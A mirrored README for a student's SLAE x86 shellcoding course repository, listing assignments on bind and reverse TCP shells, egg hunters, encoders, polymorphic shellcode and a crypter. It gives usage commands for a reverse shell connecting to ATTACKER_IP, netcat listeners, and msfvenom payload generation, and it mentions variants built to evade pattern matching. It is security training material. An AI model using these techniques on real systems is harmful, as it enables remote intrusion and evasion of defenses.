SLAEx86

KO | EN

gitlite — search

#python #ai #llm #go #linux #java #windows #awesome #cli #kubernetes #pytorch #security #mcp #open-source

(★ 8)

SLAE x86 Assembly Language and Shellcoding on Linux

SLAEx86 Latest Version Download

Download Latest Version (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# x86 Assembly Language and Shellcoding on Linux
# SLAEx86 : Student ID: PA-1191
### Assignment 1
Create a Shell Bind TCP Shellcode
- Binds to a port
- Execs shell on incoming connection
- Port number should be easily configurable
```
Implemeted the TCP Bind Shell shellcode 
Usage :

=> gcc shellcode_with_configurable_port.c -zexecstack -fno-stack-protector -o bind_shell
=> ./bind_shell <PORT_TO_BIND>

Victim Machine => ./bind_shell 9999

Attacker Machine => nc 127.0.0.1 9999

Blog : https://oxhat.blogspot.com/2018/04/coding-custom-tcp-bind-shell-shellcode.html
```
### Assignment 2
Create a Shell Reverse Tcp Shellcode
- Reverse connect to configured IP and Port
- Execs shell on incoming connection
- IP and Port should be easily configurable
```
Implemeted the TCP Reverse Shell shellcode 
Usage :

=> gcc shellcode_with_configurable_port.c -zexecstack -fno-stack-protector -o reverse_shell
=> ./reverse_shell <ATTACKER_IP TO CONNECT> <ATTACKER_PORT_TO_CONNECT>

Attacker Machine => nc -nlvp 8888

Victim Machine => ./reverse_shell 127.0.0.1 8888

Blog : https://oxhat.blogspot.com/2018/04/coding-custom-tcp-reverse-shell.html
```
### Assignment 3
Study about Egg Hunter Shellcode
- Create a working demo of the Egg Hunter
- Should be configurable for different payload
```
Usage:

Open the  egghunter_c_wrapper.c and put the any shellcode in the shellcode array location
=> gcc egghunter_c_wrapper.c -o egghunter_c_wrapper.o -zexecstack -fno-stack-protector
=> ./egghunter_c_wrapper.o

Blog : https://oxhat.blogspot.com/2019/04/egg-hunter-shellcode.html
       https://oxhat.blogspot.com/2018/04/why-do-we-need-egg-hunters.html
```
### Assignment 4
Create a custom encoding scheme  like "Insertion Encoder" we showed you
- Poc using execve-stack as the shellcode to encode your schema and execute
```
Implemented a custom encoder where each shellcode value is xored and duplicated to generate the final shellcode
Implemented a custom decoder to decode the encoded shellcode

Usage:
generating encoded shellcode

Put the shellcode inside the custom_insertion_encoder.py
=> python custom_insertion_encoder.py

decoding and executing
copy and put the encoded shellcode inside the nasm file
=> nasm custom_insertion_decoder.nasm -felf32 -o custom_insertion_decoder.o
=> ld custom_insertion_decoder.o -o custom_insertion_decoder
=> ./custom_insertion_decoder

Blog : https://oxhat.blogspot.com/2019/04/coding-custom-insertion-encoder-and.html
```
### Assignment 5
Take up at least 3 shellcode sample created using Msfpayload for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
- Present your analysis
```
As msfpayload is outdate, all the payloads are created using msfvenom

1. Analysis of linux/x86/adduser shellcode

2. Analysis of linux/x86/chmod shellcode

3. Analysis of linux/x86/exec shellcode

Usage:

Shellcode Generation:
=> msfvenom --platform linux --arch x86 --payload linux/x86/adduser USER=slae PASS=slaeslae -i0 -f hex

Shellcode Analysis
=> echo -ne "Some shellcode \xaa\xbb" | ndisasm -u -
=> echo -ne "Some shellcode \xaa\xbb" | /opt/libemu/bin/sctest -vvv -Ss 10000 -G image.dot
=> dot image.dot -Tpng -o image.png

Blog : https://oxhat.blogspot.com/2019/04/analyzing-shellcode.html
```
### Assignment 6
Take upto 3 shellcode from shell-storm and create a polymorphic versions of them to beat patten matching
- The polymorphic versions cannot be larger 150% of the existing shellcode
- Bonus point for making it shorter in length than original
```
1. Implemented 2 polmorphic versions of exit() shellcode

2. Implmented polymorphic version of cat /etc/password shellcode

3. Implemented a polymorphic and obfuscated version of commandline netcat

Blog : https://oxhat.blogspot.com/2019/04/polymorphic-shellcodes.html
```
### Assignment 7
Create a custom crypter like the one shown in "crypters" video.
- Free to use any existing encryption schema.
- Can use any programming language.
```
1. Implemented a crypter with encrytion based on one time pad.

Usage:

put the shellcode and passcode in genkey.py
=> python genkey.py
Copy the key
copy the encrypted shellcode in the shellcode array in assignment7.c
=> gcc assignment7.c -o crypter -zexecstack -fno-stack-protector
=> ./crypter <KEY>

Blog : https://oxhat.blogspot.com/2019/04/coding-custom-crypter.html 
```
### Additional Assignments
```
1. Implemented a shellcode for chdir() 
```
### Scripts
```
1. Implmented a bash automation script to generate shellcode from binary
usage:

=>dump.sh binary
There is also an extended version of this inside the same directory.
Sometimes the script does not dump all the shellcode properly so the extended version is used.

2. Implemented an automation script to generate a C code with an embedded shellcode inside it.
usage :

=>python shellcode_template.py filename.c "\x41\x41\x41x\41"
```

SLAEx86

SLAEx86 Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

SLAEx86

SLAEx86 Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

Download README